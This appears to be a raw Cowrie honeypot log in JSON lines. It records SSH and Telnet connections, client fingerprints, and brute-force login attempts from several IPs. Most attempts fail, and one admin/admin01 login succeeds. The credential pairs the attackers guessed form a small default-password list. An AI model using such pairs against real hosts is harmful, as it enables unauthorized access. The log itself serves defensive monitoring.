{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":60244,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6a771ecb734","protocol":"ssh","message":"New connection: 139.99.74.35:60244 (159.203.135.109:22) [session: a6a771ecb734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:12.326884Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":48654,"dst_ip":"10.17.0.5","dst_port":22,"session":"135d02b70e33","protocol":"ssh","message":"New connection: 91.92.40.153:48654 (10.17.0.5:22) [session: 135d02b70e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:13.024394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:13.281622Z","src_ip":"91.92.40.153","session":"135d02b70e33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:13.288025Z","src_ip":"91.92.40.153","session":"135d02b70e33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":105.58076524734497,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:14.141347Z","src_ip":"167.172.116.158","session":"98ed72715ec1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sam","password":"123456789","message":"login attempt [sam/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:14.850340Z","src_ip":"91.92.40.153","session":"135d02b70e33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:16.535212Z","src_ip":"91.92.40.153","session":"135d02b70e33","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:18.142697Z","src_ip":"139.99.74.35","session":"a6a771ecb734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:18.145445Z","src_ip":"139.99.74.35","session":"a6a771ecb734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":48726,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e2fca4f7a92","protocol":"ssh","message":"New connection: 91.92.40.153:48726 (10.17.0.5:22) [session: 3e2fca4f7a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:19.762445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:19.790368Z","src_ip":"91.92.40.153","session":"3e2fca4f7a92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:19.848514Z","src_ip":"91.92.40.153","session":"3e2fca4f7a92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:20.328229Z","src_ip":"91.92.40.153","session":"3e2fca4f7a92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51884,"dst_ip":"159.203.135.109","dst_port":23,"session":"95099941e537","protocol":"telnet","message":"New connection: 170.64.224.25:51884 (159.203.135.109:23) [session: 95099941e537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:20.543858Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:21.609594Z","src_ip":"91.92.40.153","session":"3e2fca4f7a92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":54228,"dst_ip":"159.203.135.109","dst_port":22,"session":"00b6acdce8f6","protocol":"ssh","message":"New connection: 160.187.174.22:54228 (159.203.135.109:22) [session: 00b6acdce8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:25.440935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:25.445032Z","src_ip":"160.187.174.22","session":"00b6acdce8f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:25.748937Z","src_ip":"160.187.174.22","session":"00b6acdce8f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":38708,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8d990bc62f9","protocol":"ssh","message":"New connection: 91.92.40.153:38708 (10.17.0.5:22) [session: f8d990bc62f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:26.342704Z"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:26.455988Z","src_ip":"160.187.174.22","session":"00b6acdce8f6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:26.492515Z","src_ip":"91.92.40.153","session":"f8d990bc62f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:26.504494Z","src_ip":"91.92.40.153","session":"f8d990bc62f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"12345","message":"login attempt [system/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:27.216441Z","src_ip":"91.92.40.153","session":"f8d990bc62f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:27.695385Z","src_ip":"160.187.174.22","session":"00b6acdce8f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:28.579550Z","src_ip":"91.92.40.153","session":"f8d990bc62f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":38792,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb03d19fb99e","protocol":"ssh","message":"New connection: 91.92.40.153:38792 (10.17.0.5:22) [session: bb03d19fb99e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:31.893403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:32.227640Z","src_ip":"91.92.40.153","session":"bb03d19fb99e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:32.230636Z","src_ip":"91.92.40.153","session":"bb03d19fb99e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"root","message":"login attempt [runner/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:34.166430Z","src_ip":"91.92.40.153","session":"bb03d19fb99e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.179.34","src_port":36620,"dst_ip":"159.203.135.109","dst_port":22,"session":"5df0bec25fc4","protocol":"ssh","message":"New connection: 20.228.179.34:36620 (159.203.135.109:22) [session: 5df0bec25fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:34.640492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:34.647593Z","src_ip":"20.228.179.34","session":"5df0bec25fc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:34.658467Z","src_ip":"20.228.179.34","session":"5df0bec25fc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass!@#$%^","message":"login attempt [root/pass!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:34.696190Z","src_ip":"20.228.179.34","session":"5df0bec25fc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:35.708547Z","src_ip":"20.228.179.34","session":"5df0bec25fc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:35.797620Z","src_ip":"91.92.40.153","session":"bb03d19fb99e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":51766,"dst_ip":"10.17.0.5","dst_port":22,"session":"3214873c16b3","protocol":"ssh","message":"New connection: 91.92.40.153:51766 (10.17.0.5:22) [session: 3214873c16b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:37.656633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:38.118797Z","src_ip":"91.92.40.153","session":"3214873c16b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:38.122403Z","src_ip":"91.92.40.153","session":"3214873c16b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:41.195509Z","src_ip":"91.92.40.153","session":"3214873c16b3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin01","message":"login attempt [admin/admin01] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:42.603591Z","src_ip":"139.99.74.35","session":"a6a771ecb734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:42.825496Z","src_ip":"91.92.40.153","session":"3214873c16b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":37480,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e7444bf8870","protocol":"ssh","message":"New connection: 91.92.40.153:37480 (10.17.0.5:22) [session: 0e7444bf8870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:43.710995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:44.120378Z","src_ip":"91.92.40.153","session":"0e7444bf8870","protocol":"ssh"}
